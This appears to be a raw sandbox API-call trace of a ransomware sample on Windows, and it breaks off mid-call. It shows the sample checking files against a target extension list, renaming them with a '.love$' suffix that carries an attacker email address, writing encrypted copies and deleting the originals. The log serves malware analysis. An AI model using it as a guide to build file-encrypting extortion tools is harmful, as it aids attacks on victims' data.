[0110.188] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.188] lstrlenW (lpString=".1cd") returned 4 [0110.188] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0110.188] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0110.188] lstrlenW (lpString=".jpg") returned 4 [0110.188] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0110.188] lstrcmpiW (lpString1=".LOG2", lpString2=".love$") returned -1 [0110.188] lstrlenW (lpString="BCD.LOG2") returned 8 [0110.188] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0110.188] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=0) returned 1 [0110.188] CloseHandle (hObject=0x360) returned 1 [0110.189] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.189] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.189] lstrlenW (lpString=".doc") returned 4 [0110.189] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0110.189] lstrlenW (lpString=".docx") returned 5 [0110.189] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0110.189] lstrlenW (lpString=".pdf") returned 4 [0110.189] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0110.189] lstrlenW (lpString=".xls") returned 4 [0110.189] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0110.189] lstrlenW (lpString=".xlsx") returned 5 [0110.189] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0110.189] lstrlenW (lpString=".ppt") returned 4 [0110.189] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0110.189] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.189] lstrlenW (lpString=".zip") returned 4 [0110.189] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0110.189] lstrlenW (lpString=".rar") returned 4 [0110.189] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0110.189] lstrlenW (lpString=".bz2") returned 4 [0110.189] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0110.189] lstrlenW (lpString=".7z") returned 3 [0110.189] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0110.189] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.189] lstrlenW (lpString=".dbf") returned 4 [0110.189] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0110.189] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.189] lstrlenW (lpString=".1cd") returned 4 [0110.189] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0110.189] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.189] lstrlenW (lpString=".jpg") returned 4 [0110.190] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0110.190] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.190] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.190] lstrlenW (lpString=".doc") returned 4 [0110.190] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0110.190] lstrlenW (lpString=".docx") returned 5 [0110.190] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0110.190] lstrlenW (lpString=".pdf") returned 4 [0110.190] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0110.190] lstrlenW (lpString=".xls") returned 4 [0110.190] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0110.190] lstrlenW (lpString=".xlsx") returned 5 [0110.190] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0110.190] lstrlenW (lpString=".ppt") returned 4 [0110.190] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0110.190] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.190] lstrlenW (lpString=".zip") returned 4 [0110.190] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0110.190] lstrlenW (lpString=".rar") returned 4 [0110.190] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0110.190] lstrlenW (lpString=".bz2") returned 4 [0110.190] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0110.190] lstrlenW (lpString=".7z") returned 3 [0110.190] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0110.190] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.190] lstrlenW (lpString=".dbf") returned 4 [0110.190] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0110.190] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.190] lstrlenW (lpString=".1cd") returned 4 [0110.191] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0110.191] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0110.191] lstrlenW (lpString=".jpg") returned 4 [0110.191] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0110.191] lstrcmpiW (lpString1=".mui", lpString2=".love$") returned 1 [0110.191] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0110.191] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0110.191] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=77664) returned 1 [0110.191] CloseHandle (hObject=0x360) returned 1 [0110.191] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0110.191] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0110.192] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.192] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.192] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.192] lstrlenW (lpString=".doc") returned 4 [0110.192] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0110.192] lstrlenW (lpString=".docx") returned 5 [0110.192] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0110.192] lstrlenW (lpString=".pdf") returned 4 [0110.192] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0110.192] lstrlenW (lpString=".xls") returned 4 [0110.192] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0110.192] lstrlenW (lpString=".xlsx") returned 5 [0110.192] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0110.192] lstrlenW (lpString=".ppt") returned 4 [0110.192] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0110.192] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.192] lstrlenW (lpString=".zip") returned 4 [0110.192] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0110.193] lstrlenW (lpString=".rar") returned 4 [0110.193] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0110.193] lstrlenW (lpString=".bz2") returned 4 [0110.193] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0110.193] lstrlenW (lpString=".7z") returned 3 [0110.193] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0110.193] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.193] lstrlenW (lpString=".dbf") returned 4 [0110.193] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0110.193] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.193] lstrlenW (lpString=".1cd") returned 4 [0110.193] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0110.193] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.193] lstrlenW (lpString=".jpg") returned 4 [0110.193] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0110.193] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.193] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.193] lstrlenW (lpString=".doc") returned 4 [0110.193] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0110.193] lstrlenW (lpString=".docx") returned 5 [0110.193] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0110.193] lstrlenW (lpString=".pdf") returned 4 [0110.193] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0110.193] lstrlenW (lpString=".xls") returned 4 [0110.193] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0110.193] lstrlenW (lpString=".xlsx") returned 5 [0110.193] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0110.193] lstrlenW (lpString=".ppt") returned 4 [0110.193] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0110.194] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.194] lstrlenW (lpString=".zip") returned 4 [0110.194] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0110.194] lstrlenW (lpString=".rar") returned 4 [0110.194] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0110.194] lstrlenW (lpString=".bz2") returned 4 [0110.194] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0110.194] lstrlenW (lpString=".7z") returned 3 [0110.194] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0110.194] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.194] lstrlenW (lpString=".dbf") returned 4 [0110.194] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0110.194] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.194] lstrlenW (lpString=".1cd") returned 4 [0110.194] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0110.194] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0110.194] lstrlenW (lpString=".jpg") returned 4 [0110.194] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0110.194] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0110.194] lstrlenW (lpString="bootspaces.dll") returned 14 [0110.194] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0110.196] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=95648) returned 1 [0110.196] CloseHandle (hObject=0x360) returned 1 [0110.196] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20 [0110.196] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0110.196] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.196] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.196] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.196] lstrlenW (lpString=".doc") returned 4 [0110.196] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.196] lstrlenW (lpString=".docx") returned 5 [0110.196] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.196] lstrlenW (lpString=".pdf") returned 4 [0110.196] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.196] lstrlenW (lpString=".xls") returned 4 [0110.196] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.196] lstrlenW (lpString=".xlsx") returned 5 [0110.196] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.197] lstrlenW (lpString=".ppt") returned 4 [0110.197] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.197] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.197] lstrlenW (lpString=".zip") returned 4 [0110.197] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.197] lstrlenW (lpString=".rar") returned 4 [0110.197] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.197] lstrlenW (lpString=".bz2") returned 4 [0110.197] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.197] lstrlenW (lpString=".7z") returned 3 [0110.197] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.197] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.197] lstrlenW (lpString=".dbf") returned 4 [0110.197] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.197] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.197] lstrlenW (lpString=".1cd") returned 4 [0110.197] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.197] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.197] lstrlenW (lpString=".jpg") returned 4 [0110.197] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.197] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.197] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.197] lstrlenW (lpString=".doc") returned 4 [0110.197] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.197] lstrlenW (lpString=".docx") returned 5 [0110.197] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0110.197] lstrlenW (lpString=".pdf") returned 4 [0110.197] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.197] lstrlenW (lpString=".xls") returned 4 [0110.198] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.198] lstrlenW (lpString=".xlsx") returned 5 [0110.198] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0110.198] lstrlenW (lpString=".ppt") returned 4 [0110.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.198] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.198] lstrlenW (lpString=".zip") returned 4 [0110.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.198] lstrlenW (lpString=".rar") returned 4 [0110.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.198] lstrlenW (lpString=".bz2") returned 4 [0110.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.198] lstrlenW (lpString=".7z") returned 3 [0110.198] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.198] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.198] lstrlenW (lpString=".dbf") returned 4 [0110.198] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.198] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.198] lstrlenW (lpString=".1cd") returned 4 [0110.198] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0110.198] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22 [0110.198] lstrlenW (lpString=".jpg") returned 4 [0110.198] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0110.198] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0110.199] lstrlenW (lpString="bootvhd.dll") returned 11 [0110.199] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0110.199] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=99744) returned 1 [0110.199] CloseHandle (hObject=0x360) returned 1 [0110.199] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0110.199] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0110.199] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.199] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0110.199] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0110.199] lstrlenW (lpString=".doc") returned 4 [0110.199] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0110.199] lstrlenW (lpString=".docx") returned 5 [0110.199] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0110.199] lstrlenW (lpString=".pdf") returned 4 [0110.199] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0110.199] lstrlenW (lpString=".xls") returned 4 [0110.200] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0110.200] lstrlenW (lpString=".xlsx") returned 5 [0110.200] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0110.200] lstrlenW (lpString=".ppt") returned 4 [0110.200] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0110.200] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0110.200] lstrlenW (lpString=".zip") returned 4 [0110.200] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0110.200] lstrlenW (lpString=".rar") returned 4 [0110.200] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0110.200] lstrlenW (lpString=".bz2") returned 4 [0110.200] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0110.200] lstrlenW (lpString=".7z") returned 3 [0110.200] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0110.200] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0110.200] lstrlenW (lpString=".dbf") returned 4 [0110.200] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0110.207] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0110.210] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0110.800] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0110.805] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[im.online@aol.com].love$")) returned 0 [0110.906] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0110.906] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0110.919] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.919] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.919] CreateFileW (lpFileName="C:\\BOOTNXT.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\bootnxt.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0110.920] GetLastError () returned 0x0 [0110.920] ReadFile (in: hFile=0x380, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x1, lpOverlapped=0x0) returned 1 [0110.924] WriteFile (in: hFile=0x2c8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x10, lpOverlapped=0x0) returned 1 [0110.926] ReadFile (in: hFile=0x380, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.926] WriteFile (in: hFile=0x2c8, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xe2, lpOverlapped=0x0) returned 1 [0110.926] SetEndOfFile (hFile=0x2c8) returned 1 [0110.926] CloseHandle (hObject=0x2c8) returned 1 [0111.792] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.792] SetEndOfFile (hFile=0x380) returned 1 [0111.796] CloseHandle (hObject=0x380) returned 1 [0111.796] SetFileAttributesW (lpFileName="C:\\BOOTNXT.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x26) returned 1 [0111.797] DeleteFileW (lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0111.797] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.797] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.797] lstrlenW (lpString=".doc") returned 4 [0111.797] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0111.798] lstrlenW (lpString=".docx") returned 5 [0111.798] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0111.798] lstrlenW (lpString=".pdf") returned 4 [0111.798] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0111.798] lstrlenW (lpString=".xls") returned 4 [0111.798] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0111.798] lstrlenW (lpString=".xlsx") returned 5 [0111.798] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0111.798] lstrlenW (lpString=".ppt") returned 4 [0111.798] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0111.798] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.798] lstrlenW (lpString=".zip") returned 4 [0111.798] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0111.798] lstrlenW (lpString=".rar") returned 4 [0111.798] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0111.798] lstrlenW (lpString=".bz2") returned 4 [0111.798] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0111.798] lstrlenW (lpString=".7z") returned 3 [0111.798] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0111.798] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.798] lstrlenW (lpString=".dbf") returned 4 [0111.798] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0111.798] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.798] lstrlenW (lpString=".1cd") returned 4 [0111.798] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0111.798] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.798] lstrlenW (lpString=".jpg") returned 4 [0111.798] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0111.799] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.799] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.799] lstrlenW (lpString=".doc") returned 4 [0111.799] lstrcmpiW (lpString1=".doc", lpString2="TNXT") returned -1 [0111.799] lstrlenW (lpString=".docx") returned 5 [0111.799] lstrcmpiW (lpString1=".docx", lpString2="OTNXT") returned -1 [0111.799] lstrlenW (lpString=".pdf") returned 4 [0111.799] lstrcmpiW (lpString1=".pdf", lpString2="TNXT") returned -1 [0111.799] lstrlenW (lpString=".xls") returned 4 [0111.799] lstrcmpiW (lpString1=".xls", lpString2="TNXT") returned -1 [0111.799] lstrlenW (lpString=".xlsx") returned 5 [0111.799] lstrcmpiW (lpString1=".xlsx", lpString2="OTNXT") returned -1 [0111.799] lstrlenW (lpString=".ppt") returned 4 [0111.799] lstrcmpiW (lpString1=".ppt", lpString2="TNXT") returned -1 [0111.799] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.799] lstrlenW (lpString=".zip") returned 4 [0111.799] lstrcmpiW (lpString1=".zip", lpString2="TNXT") returned -1 [0111.799] lstrlenW (lpString=".rar") returned 4 [0111.799] lstrcmpiW (lpString1=".rar", lpString2="TNXT") returned -1 [0111.799] lstrlenW (lpString=".bz2") returned 4 [0111.799] lstrcmpiW (lpString1=".bz2", lpString2="TNXT") returned -1 [0111.799] lstrlenW (lpString=".7z") returned 3 [0111.799] lstrcmpiW (lpString1=".7z", lpString2="NXT") returned -1 [0111.799] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.799] lstrlenW (lpString=".dbf") returned 4 [0111.799] lstrcmpiW (lpString1=".dbf", lpString2="TNXT") returned -1 [0111.799] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.799] lstrlenW (lpString=".1cd") returned 4 [0111.800] lstrcmpiW (lpString1=".1cd", lpString2="TNXT") returned -1 [0111.800] lstrlenW (lpString="C:\\BOOTNXT") returned 10 [0111.800] lstrlenW (lpString=".jpg") returned 4 [0111.800] lstrcmpiW (lpString1=".jpg", lpString2="TNXT") returned -1 [0111.800] lstrcmpiW (lpString1=".sys", lpString2=".love$") returned 1 [0111.800] lstrlenW (lpString="hiberfil.sys") returned 12 [0111.800] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.800] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.800] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0111.800] lstrlenW (lpString=".doc") returned 4 [0111.800] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0111.800] lstrlenW (lpString=".docx") returned 5 [0111.800] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0111.800] lstrlenW (lpString=".pdf") returned 4 [0111.800] lstrcmpiW 